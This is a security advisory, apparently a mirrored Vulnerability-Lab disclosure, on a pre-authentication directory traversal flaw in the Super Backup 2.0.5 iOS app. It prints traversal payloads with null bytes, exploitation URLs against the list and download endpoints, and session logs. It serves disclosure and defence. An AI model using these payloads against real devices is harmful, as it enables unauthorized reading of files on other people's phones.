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Super Backup 2.0.5 Directory Traversal

Super Backup 2.0.5 Directory Traversal
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Super Backup version 2.0.5 for iOS suffers from a directory traversal vulnerability.

tags | exploit
systems | ios
MD5 | dcba32401441371be6040dab9d02f9ae

Super Backup 2.0.5 Directory Traversal

Change Mirror Download
Document Title:
===============
Super Backup v2.0.5 iOS - Directory Traversal Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2200


Release Date:
=============
2020-04-30


Vulnerability Laboratory ID (VL-ID):
====================================
2200


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac.
Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device.
Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now.

(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal vulnerability in the official SuperBackup v2.0.5 ios mobile application.



Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5


Vulnerability Disclosure Timeline:
==================================
2020-04-30: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official Super Backup v2.0.5 ios mobile web-application.
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.

The directory-traversal web vulnerability in the app is located in the `list` and `download` module with the `path` parameter.
Attackers are able to change the path variable to request the local list command. By changing the path parameter the validation
mechanism runs into a logic error that turns back the possibility to request different pathes outside the basic import/export
folder. Thus way the attacker injects for example local path environment varibales to compromise the local ios web-application.

Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.


Proof of Concept (PoC):
=======================
The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Payloads
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
/../../../../../../../../../../../../../../../../../../../../../../%00
//.././%00


PoC: Exploitation
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00


--- PoC Session Logs [GET]] ---
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 174
Content-Type: application/json
Connection: Close
-
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Length: 174
Content-Type: application/json
Connection: Close
-
Opening the url allows to download the list file json with content path output
[{"path":"../../../../../../../../../../../../ "size":21961}]


References:
http://localhost/list?path=
http://localhost/download?path=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the requested path parameters with the list and download module.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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